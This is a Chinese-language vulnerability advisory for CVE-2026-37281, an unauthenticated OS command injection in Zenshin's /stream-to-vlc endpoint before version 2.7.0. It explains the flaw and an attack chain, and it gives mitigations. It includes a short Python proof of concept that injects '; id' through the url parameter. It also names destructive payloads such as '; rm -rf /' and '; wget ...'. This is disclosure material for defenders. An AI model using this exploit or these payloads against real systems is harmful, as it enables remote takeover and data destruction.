CVE-2026-37281 CVSS 9.8 严重

CVE-2026-37281 Zenshin OS命令注入漏洞

披露日期: 2026-05-19

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-37281

漏洞类型

OS命令注入

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

hitarth-gg Zenshin

漏洞概述

该漏洞存在于hitarth-gg开发的Zenshin软件2.7.0之前的版本中。在`/stream-to-vlc`的Express路由处理逻辑中，由于对用户输入的`url`参数缺乏严格的过滤，直接将其拼接至系统命令执行，导致存在操作系统命令注入漏洞。未经身份验证的远程攻击者可利用此漏洞在服务器端执行任意命令，从而完全控制受影响系统。

技术细节

漏洞产生于Zenshin应用的`/stream-to-vlc`接口，该接口主要用于处理通过URL传入的媒体流并调用VLC播放。在代码实现层面，后端直接将用户提交的`url`参数传递给了操作系统Shell命令执行函数（如Node.js中的`child_process.exec`），而未使用参数化查询或对特殊字符进行转义。攻击者可以通过构造包含Shell元字符（如分号`;`、管道符`|`、命令替换`$()`等）的恶意URL参数，截断原有命令并拼接执行任意系统指令。由于CVSS向量显示无需权限（PR:N）且无需用户交互（UI:N），攻击者仅需发送一个HTTP请求即可触发漏洞，获得Web服务器的运行权限，进而造成数据泄露、篡改或系统破坏。

攻击链分析

STEP 1

侦查

攻击者扫描目标网络，识别运行Zenshin且版本低于2.7.0的服务。

STEP 2

漏洞利用

攻击者向`/stream-to-vlc`端点发送特制的HTTP请求，在`url`参数中注入恶意Shell命令（如`; rm -rf /`或`; wget ...`）。

STEP 3

命令执行

服务器后端未过滤参数，直接将恶意载荷传递给系统Shell执行，导致攻击者指定的命令在服务器上运行。

STEP 4

后渗透

攻击者利用获取的Shell权限建立后门、窃取数据或进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL configuration
target_url = "http://127.0.0.1:3000"
endpoint = "/stream-to-vlc"

# Malicious payload containing command injection
# Using semicolon to separate commands and execute 'id'
payload = "http://safe.com; id"

try:
    # Send malicious request to the vulnerable endpoint
    response = requests.get(f"{target_url}{endpoint}", params={"url": payload})
    
    # Check response status
    if response.status_code == 200:
        print("[+] Payload sent successfully.")
        print("[+] Response from server:")
        print(response.text)
    else:
        print(f"[-] Server returned status code: {response.status_code}")
        
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

hitarth-gg Zenshin < 2.7.0

防御指南

临时缓解措施

如果不能立即升级，建议在网络边界设备（如防火墙或WAF）上配置规则，拦截对`/stream-to-vlc`路径的访问请求，或者严格限制仅允许受信任的IP地址访问该接口，以阻断攻击路径。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表